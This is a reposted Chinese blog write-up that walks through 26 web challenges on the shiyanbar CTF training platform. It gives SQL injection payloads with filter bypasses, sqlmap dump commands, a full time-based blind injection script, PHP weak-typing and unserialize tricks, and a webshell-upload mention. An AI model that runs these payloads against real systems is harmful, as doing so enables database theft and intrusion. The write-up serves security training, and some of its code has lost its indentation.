实验吧web题（26/26）全writeup！超详细:)

转载

aeoj41897 于 2017-07-22 10:43:00 发布 442 收藏
文章标签： php 数据库 开发工具
原文链接：http://www.cnblogs.com/TGhost/p/7220564.html

#简单的SQL注入

http://www.shiyanbar.com/ctf/1875

1)试着在?id=1,没有错误

---

2)试着?id=1',出错了，有回显，说明有注入点：

```
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the
right
syntax to use near ''''' at line 1
3)先预计后台表名为flag，所以构造union select flag from flag
4)根据第二部判断的依据，所以多加个'，后面的语句需要再一个'来结束，注入语句为?id=1'union select flag from flag where
't'=
't
回显的是:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version
for
the right syntax to use near 't'='t'' at line 1


分析：根据报错，只有变量了，其他的关键字都没过滤了
5)把关键字from，where写两遍试试，结果报错：corresponds to your MySQL server version for the right syntax to use
near
 'unionselectflag fromflag where't'='t'' at line 1
~~发现空格被过滤！~~


6)用'+'号来代替空格：?id=1 '+unionunion +selectselect +flag+fromfrom +flag+wherewhere+'t'='t
```

#简单的SQL注入之2

http://www.shiyanbar.com/ctf/1908

1.先正常显示id=1 ， id=2， id=3 显示正常说明只有三行

2.id=1' 显示mysql 语句错误 大概判断mysql 语句为 select name from user where id='input'

3.id=1 ' 中间有一个空格 显示 SQLi detected! 说明 空格被过滤

结合这三种显示的 内容 能判断 显示的是1 的界面加上我们的sql 语句 才能真正的执行我们想要执行的注入语句

继续简单的 判断

id=1'%0Band%0B'1'='1 %0B 表示空格 还有的 类似 %0a-%0z + /**/都可以试试

显示正常

```
ID: 1'and'1'='1
name: baloteli
```

然后 继续测试

发现这个 逻辑 方法也 不错

?id=1'||`id`||' 可以显示 表中的数据 然后语句就是 select name from user where id='1'||`id`||'' 闭合的 想要显示表中的所有记录可以多加几个||’‘ 只要是语句是闭合的就可以

```
ID: 1'||`id`||'
name: baloteli
```

```
ID: 1'||`id`||'
name: kanawaluo
```

```
ID: 1'||`id`||'
name: dengdeng
```

然后继续 结合web1 我们可以猜到　 还有一个flag表

发现　十六进制编码就可以搞定

```
?id=1'/*!u%6eion*/ /*!se%6cect*/flag/*!from*/flag/*!where*/''='
```

直接 getflag

#简单的SQL注入之3

http://www.shiyanbar.com/ctf/1909

本题，我才用SQL map来解；

1)构造SQL map命令：sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --dbs

一路跑下来得到数据库

2)再次构造判断正确的数据库：qlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --current-db

3)再次构造获得表名：sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --tables

4)再次构造查找flag表名中的列：sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --columns -T "flag"

5)再次构造dump其中的内容：sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --dump -C "flag" -T "flag"

tips：如果SQL map跑的很快的话推荐使用SQL map，但是掌握手工注入才是王道。

#天下武功唯快不破

http://www.shiyanbar.com/ctf/1854

首先看一下源代码

让我们提交找到的key进行post提交，看看请求头

发现flag，当然就是把key当参数提交解出的flag进行post提交啦，但是必须要快，那就只有脚本了，下面附上脚本

```
import requests
import base64

url = 'http://ctf5.shiyanbar.com/web/10/10.php'

rs = requests.get(url).headers['FLAG']

v = base64.b64decode(rs)

print requests.post(url=url,data={'key':v.split(':')[1]}).content
```

---

tips:对于没有requests模块和base64模块的同学可以pip下载，不会pip的可以参考我之前的博客

#拐弯抹角

http://www.shiyanbar.com/ctf/1846

根据这段话，在url后面加index.php,即可得到flag

#Forms

http://www.shiyanbar.com/ctf/1819

先F12查看源代码

发现showsource的值为0，改为1，得到隐藏的源代码

出现

```
if ($a == -19827747736161128312837161661727773716166727272616149001823847)
```

将pin的值改为

```
-19827747736161128312837161661727773716166727272616149001823847得出结果
```

#天网管理系统

http://www.shiyanbar.com/ctf/1810

首先右击查看源代码（手动滑稽

这里要求我们输入一个字符串，经过md5后等于0，这是考验php弱类型。这里我提供4个都可以通过的值；

然后百度0开头的MD5：http://www.mamicode.com/info-detail-1719711.html

在用户名中输入其中一个显示

然后你懂；

打开那个链接：

$unserialize_str = $_POST['password']; $data_unserialize = unserialize($unserialize_str); if($data_unserialize['user'] == '???' && $data_unserialize['pass']=='???') { print_r($flag); } 伟大的科学家php方言道：成也布尔，败也布尔。 回去吧骚年

这段代码不难懂，就是把post提交的password值经过"反序列化"得到一个数组，要求数组里的user和pass都满足，就打印flag，但是我们无法得知'???'是什么，但是我们可以注意到信息中判断条件使用的为==，也是php弱类型；

<?php if(true=="pcat"){ echo "ok"; } ?>

bool类型的true跟任意字符串可以弱类型相等的，当代码中存在unserialize或者json_decode的时候，我们可以构造bool类型，来达到欺骗。现在我们构造一个数组，内瀚2个元素，分别是user和pass，都是bool类型的true，于是我们得到
a:2:{s:4:"user";b:1;s:4:"pass";b:1;}
（a代表array，s代表string，b代表bool，而数字代表个数/长度）

最后在密码局域栏中用post提交就可以了。

#Once More

http://www.shiyanbar.com/ctf/1805

一道简单的代码审计题，根据if语句要求，password必须大于9999999而且还要等于*-*

ok，直接构造password就行，password=1e8%00*-*

(注：%00是单纯在数中加“-”会无意义，使用%00截断后，加上*-*

回显得到flag，over!

#Guess Next Session

http://www.shiyanbar.com/ctf/1788

这一题需要用到火狐浏览器，然后下个火狐的插件，cookies manager+

老规矩，先看源代码

说明get获取的值必须和session的值相等才行

使用cookies managers +，删掉PHP session

直接guess

#FALSE

http://www.shiyanbar.com/ctf/1787

```
1. <html>
```

```
 2. <head>
 3.     <title>level1</title>
 4.     <link rel='stylesheet' href='style.css' type='text/css'>
 5. </head>
 6. <body>
 7. 
 8. <?php
 9. require 'flag.php';
10. 
11. if (isset($_GET['name']) and isset($_GET['password'])) {
12.     if ($_GET['name'] == $_GET['password'])
13.         print 'Your password can not be your name.';
14.     else if (sha1($_GET['name']) === sha1($_GET['password']))
15.       die('Flag: '.$flag);
16.     else
17.         print '<p class="alert">Invalid password.</p>';
18. }
19. ?>
20. 
21. <section class="login">
22.     <div class="title">
23.         <a href="./index.txt">Level 1</a>
24.     </div>
25. 
26.     <form method="get">
27.         <input type="text" required name="name" placeholder="Name"/><br/>
28.         <input type="text" required name="password" placeholder="Password" /><br/>
29.         <input type="submit"/>
30.     </form>
31. </section>
32. </body>
```

分析代码逻辑，发现GET了两个字段name和password，获得flag要求的条件是：name != password & sha1(name) == sha1(password)，乍看起来这是不可能的，其实可以利用sha1()函数的漏洞来绕过。如果把这两个字段构造为数组，如：?name[]=a&password[]=b，这样在第一处判断时两数组确实是不同的，但在第二处判断时由于sha1()函数无法处理数组类型，将报错并返回false，if 条件成立，获得flag。

#上传绕过

http://www.shiyanbar.com/ctf/1781

菜刀，一句话木马ok

#what a fuck!这是什么鬼东西？

http://www.shiyanbar.com/ctf/56

很有特征的，jother编码，一堆括号。可以在线解码，不过为了离线考试，在chrome浏览器，F12，有一个console，粘贴全部代码，回车，弹出key

---

#这个看起来有点简单

http://www.shiyanbar.com/ctf/33

使用SQL注入

联合查找

http://ctf5.shiyanbar.com/8/index.php?id=1%20union%20select%201,1

查数据库

http://ctf5.shiyanbar.com/8/index.php?
id=1%20union%20select%201,SCHEMA_NAME%20from%20information_schema.SCHEMATA

猜表名

http://ctf5.shiyanbar.com/8/index.php?
id=1%20union%20select%201,TABLE_NAME%20from%20information_schema.TABLES

猜字段

http://ctf5.shiyanbar.com/8/index.php?
id=1%20union%20select%201,COLUMN_NAME%20from%20information_schema.COLUMNS

k0y最可疑，于是提交

http://ctf5.shiyanbar.com/8/index.php?id=1%20union%20select%201,k0y%20from%20thiskey

---

#头有点大

http://www.shiyanbar.com/ctf/29

火狐or chrome F12

点击编辑和重发，编辑信息，修改语言和增加一个.net framework 9.9，也就是添加.NET CLR 9.9（有个分号）

发送并预览

#Forbidden

http://www.shiyanbar.com/ctf/21

F12，选择网络，然后重新加载一下，点击编辑和发送

修改zh-CN为zh-hk

发送后在预览页面即可看到flag

#猫捉老鼠

http://www.shiyanbar.com/ctf/20

根据题目提示“catch”，使用burpsuite抓包尝试，并将抓包数据发送至Repeater

直接点击GO，看Response输出，发现表头中存在以下一行内容提示

将“MTQ4ODg2ODA4MA==”复制后，替换Repeater中自己先前输入的123，查看Response，发现已得到key

---

#登录一下好吗？

http://www.shiyanbar.com/ctf/1942

解释下：

先计算username='TG' 一般数据库里不可能有我这个小名（若有，你就换一个字符串），所以这里返回值为0（相当于false）
然后0='' 这个结果呢？看到这里估计你也懂了，就是返回1（相当于true）

所以这样的注入相当于
select * from user where 1 and 1
也等于 select * from user
（这题只有筛选出来的结果有3个以上才会显示flag，没有就一直说“对不起，没有此用户！！”）

好了，继续唠叨几句，上面那个比较是弱类型的比较，
以下情况都会为true
1='1'
1='1.0'
1='1后接字母(再后面有数字也可以)'
0='除了非0数字开头的字符串'
（总体上只要前面达成0的话，要使语句为true很简单，所以这题的万能密码只要按照我上面的法子去写一大把）

#who are you?

http://www.shiyanbar.com/ctf/1941

时间注入，不懂得搜百度，我直接上脚本不BB了

```
import requests
import time
import sys


url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'


def retriveCurrentDatabase():


ascii = -1
index = 1
result = ""
```

```
while "\x00" not in result:


ascii = 0


for i in range(8):


sql = "222' and (case when (ascii(substring((select database()) from %d for 1))&%d!=0) then
sleep(0.5) else sleep(0) end) and '1'='1" % (index, pow(2, i))
headers = {'X-Forwarded-For': sql}
starttime = time.time()
requests.get(url, headers=headers)


if (time.time() - starttime) > 0.5:


ascii += pow(2, i)


if chr(ascii) != '\x00':
sys.stdout.write(chr(ascii))
result += chr(ascii)


index += 1


return result


def retriveTable(database):


database = "'" + database + "'"


ascii = -1
row = 0
while True:


index = 1
result = ""
```

```
result =


while "\x00" not in result:


ascii = 0


for i in range(8):


sql = "222' and (case when (ascii(substring((select table_name from
information_schema.tables where table_schema=%s limit 1 offset %d) from %d for 1))&%d!=0)
then sleep(0.5) else sleep(0) end) and '1'='1" % (database, row, index, pow(2, i))
headers = {'X-Forwarded-For': sql}
starttime = time.time()
requests.get(url, headers=headers)


if (time.time() - starttime) > 0.5:


ascii += pow(2, i)


if chr(ascii) != '\x00':
sys.stdout.write(chr(ascii))
result += chr(ascii)


index += 1


if result == '\x00':
break
ascii = -1
print('')
row += 1


def dumpColumn():


ascii = -1
row = 0
while True:
```

```
index = 1
result = ""

while "\x00" not in result:

ascii = 0

for i in range(8):

sql = "222' and (case when (ascii(substring((select flag from flag limit 1 offset %d) from
%d for 1))&%d!=0) then sleep(0.5) else sleep(0) end) and '1'='1" % (row, index, pow(2, i))
headers = {'X-Forwarded-For': sql}
starttime = time.time()
requests.get(url, headers=headers)

if (time.time() - starttime) > 0.1:

ascii += pow(2, i)

if chr(ascii) != '\x00':
sys.stdout.write(chr(ascii))
result += chr(ascii)

index += 1

if result == '\x00':
break
ascii = -1
row += 1

def main():
database = retriveCurrentDatabase()
print('\nCurrent database is %s' % database)
print('Let\'s see the table name in the database!')
database = database.replace("\x00","")
retriveTable(database)
```

```
    retrivetable(database)
    print('Let\'s dump the flag!')
    sys.stdout.write("ctf{")
    dumpColumn()
    sys.stdout.write("}")
```

```
if __name__ == '__main__':
main()
```

#因缺思厅的绕过

http://www.shiyanbar.com/ctf/1940

查看源码得到这个东西，改变下url

出来了这个东西

下面就是post数据的检查，这里不是狭义上的过滤，仅仅是检查，检查到敏感字符就输出“水可载舟，亦可赛艇！”，结束。
主要检查"and""select""from""where""union""join""sleep""benchmark"","("")"这些sql中常用到的东西。

数据库连接这块没什么说的。接着就是将$_POST['uname']直接代入sql查询interest表。验证查询结果是否一行，如果是将查询结果的pwd列值与$_POST['pwd']比较，如相同则输出FLAG。
程序似乎挺简单，逻辑也明了清楚。要得到flag，得过两个条件判断：mysql_num_rows($query) == 1 和 $key['pwd'] == $_POST['pwd']。
相信有个别人，代码都不看就直接拿出sqlmap，看完代码，不建议这样做，收益甚微啊。看看输入检查就知道了。
试想如果用union select控制查询结果，那$key['pwd']和$_POST['pwd']就都在我们的控制之中了，但这条路的关键在于过输入检查。我手动试了很多方法，尝试过输入检查，发现徒劳。再看看代码，想想也是，这么个检查方法，似乎过不了检查的。
于是重新调整战略。我们要的是过两个条件判断，从这入手其实第一个条件判断很好过：x' or 1 limit 1#，这就过了第一个检查。再看第二个检查$key['pwd'] == $_POST['pwd']。由于数据库中数据我们是无法获得的，至少我获取不了。想过这个条件只有控制了$key['pwd']才有可能。我摸索了很长时间，几乎快放弃了，询问了pcat此处是否有可为。答案是肯定的，又给了点提示。最后确定目标使$key['pwd']为NULL。可是输入检查很严，去了逗号，括号等。为达到目标，我翻看mysql的手册。过程漫长又非因缺思汀。早饭过程中脑子中一直过手册内容。早饭过后，就想到了可利用之处。group by with rollup。
x'or 1 group by pwd with rollup #

最后根据pwd为NULL，playload：x'or 1 group by pwd with rollup limit 1 OFFSET 2#

#让我进去

http://www.shiyanbar.com/ctf/1848

用哈希长度扩展攻击，原理吗，搜百度，我不在这BB

推荐先看下这个链接：http://www.cnblogs.com/pcat/p/5478509.html

其中已经对这个方法做了详细介绍了，我就不在赘述了

#忘记密码了

http://www.shiyanbar.com/ctf/1808

首先Ctrl+U查看网页源代码：可以看到 admin"为"admin@simplexue.com"　　编辑器为Vim。

随便输一个，弹出js框提示密码放在step2.php里。那么直接打开step2.php，发现一直跳转回step.php。算了，直接用Fiddler看吧，果然是一个302重定向。那么访问step2.php时，其实是将它内置的test@test.com发到submit.php里去了。那么我们再访问submit.php，显示的是"you are not an admin"。

这个方法不行，看了下别人的WriteUp，说是Vim会产生临时文件。那么我们在浏览器里访问.submit.php.swp，果然有文件。虽然有乱码，但代码勉强看的懂。这里需要的是emailAddress和token两个参数。emailAddress就是刚才个，而token做了判断，必须为0且长度为10。

改变url：http://ctf5.shiyanbar.com/10/upload/submit.php?emailAddress=admin@simplexue.com&token=0000000000

#NSCTF web200

http://www.shiyanbar.com/ctf/1760

题目是一个php加密的，我们逆着就行了

```
$dd="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
$s=str_rot13($dd);
$a=strrev($s);
$b=base64_decode($a);
for($e=0;$e {
$g=substr($b,$e,1);
$temp=ord($g)-1;
$g=chr($temp);
$aa=$aa.$g;
}
echo strrev($aa);
?>
```

#程序逻辑问题

http://www.shiyanbar.com/ctf/62

这道题还是卡了几个小时，

最后的playload:

最后的payload:

```
user=1 union select concat('bcbe3365e6ac95ea2c0343a2395834dd')%23 &pass=222
```

开始我以为注入，最后注入出来发现pw字段是111

于是尝试了 弱类型 ，发现没什么软用

最后想到union查询

```
SELECT username FROM admin where id =-1 union select
concat('bcbe3365e6ac95ea2c0343a2395834dd')
```

原理：当没有id为-1的用户时 就会显示union后的语句 也就是 bcbe3365e6ac95ea2c0343a2395834dd

222的md5

同时提交pass=222 就金光一闪了

#PHP大法

http://www.shiyanbar.com/ctf/54

通过阅读http://ctf5.shiyanbar.com/DUTCTF/index.php.txt中的代码可以知道

id如果等于"hackerDJ"的话不会得到flag 但后面要求解码后还是"hackerDJ"

所以需要第一次解码不是"hackerDJ"，而第二次是"hackerDJ"，所以编码两次就好了

（不需要全部编码，随便找个字母，比如最后的J->%254A即可）

http://ctf5.shiyanbar.com/DUTCTF/index.php?id=hackerD%254A

#貌似有点难

http://www.shiyanbar.com/ctf/32

打开burp拦截一个请求，在http头部增加一个x字段为1.1.1.1 转发出去。

然后就可以看见key了。

#看起来有点难

http://www.shiyanbar.com/ctf/2

SQL注入，简单的很，只不过跑起来很慢，竟然是50分的，不知道过人之处在哪

题目没有问题，这是吓唬人罢了，应该就是这样吧，要相信自己，别被眼前的事物所迷惑吧。

纪念下

转载于:https://www.cnblogs.com/TGhost/p/7220564.html